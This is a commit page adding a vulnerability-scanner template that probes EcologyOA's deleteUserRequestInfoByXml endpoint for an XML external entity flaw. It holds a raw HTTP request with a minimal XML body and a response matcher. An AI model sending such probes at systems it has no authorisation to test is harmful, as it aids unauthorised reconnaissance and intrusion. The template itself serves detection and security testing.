ecology-oa-byxml-xxe

UltimateSec · Jul 12, 2023 · d2df870 · d2df870
1 parent 8f02089
commit d2df870
Showing 1 changed file with 25 additions and 0 deletions.
diff --git a/ecology-oa/ecology-oa-byxml-xxe.yaml b/ecology-oa/ecology-oa-byxml-xxe.yaml
@@ -0,0 +1,25 @@
+id: ecology-oa-byxml-xxe
+
+info:
+  name: EcologyOA deleteUserRequestInfoByXml - XXE
+  author: unknown
+  severity: high
+  description: EcologyOA deleteUserRequestInfoByXml interface has XXE
+  tags: ecology-oa,xxe
+
+requests:
+  - raw:
+      - |
+        GET /rest/ofs/deleteUserRequestInfoByXml HTTP/1.1
+        Host: {{Hostname}}
+        Content-Length: 35
+        Content-Type: application/xml
+        Accept-Encoding: gzip    
+
+        <?xml version="1.0"?>
+        <!DOCTYPE>
+    matchers:
+      - type: word
+        words:
+          - 'WfData'
+